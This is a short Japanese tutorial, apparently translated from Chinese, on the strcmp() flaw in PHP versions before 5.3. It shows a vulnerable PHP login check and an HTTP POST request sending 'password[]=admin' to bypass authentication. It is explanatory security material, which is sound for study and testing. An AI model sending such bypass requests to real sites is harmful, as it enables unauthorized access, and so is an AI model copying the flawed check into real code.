php strcmp()脆弱性


strcmp脆弱性
注意:この脆弱性は5.3以前のphpに適用されます.
まずこの関数を見てみましょう.この関数は文字列を比較するための関数です.
int strcmp ( string $str1 , string $str2 )

パラメータstr 1の最初の文字列.str 2の2番目の文字列.str 1がstr 2より小さい場合は<0を返します.str 1がstr 2より大きい場合は>0を返します.両者が等しい場合は0を返します.
入力の所望のタイプは文字列タイプのデータであることがわかりますが、非文字列タイプのデータを入力すると、この関数はどのような動作をしますか?実際、この関数が不一致のタイプを受け入れた場合、この関数はエラーが発生しますが、5.3前のphpでエラーの警告メッセージが表示された後、return 0!!!すなわち,誤りを報告したが,それが等しいと判定した.これは、この関数を使用して文の判断を行うコードにとって致命的な脆弱性です.もちろん、php公式は後のバージョンでこの脆弱性を修復し、エラーが発生したときに関数が値を返さないようにしています.しかし、この脆弱性を使用して、古いphpを使用したWebサイトの浸透テストを行うことができます.サンプルコードを見てみましょう.

    $password="***************"
     if(isset($_POST['password'])){

        if (strcmp($_POST['password'], $password) == 0) {
            echo "Right!!!login success";n
            exit();
        } else {
            echo "Wrong password..";
        }
?>

このコードについて、私たちはどのような方法で検証を迂回することができますか?POST[‘password’]は配列またはobjectでよいが、前の質問で言ったように文字列タイプしかアップロードできないので、どうすればいいのか.
実はphpは1つの配列をアップロードすることができるため、末尾に1対の中括弧の変数を持って、例えばxxx[]のname(つまり$_POSTの中のkey)で、1つの名前のxxxの配列として次のようなrequestを構築します
POST /login HTTP/1.1
Host: xxx.com
Content-Length: 41
Accept: application/json, text/javascript
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.59 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Connection: close

password[]=admin

上記のコードを検証を迂回して成功させることができます.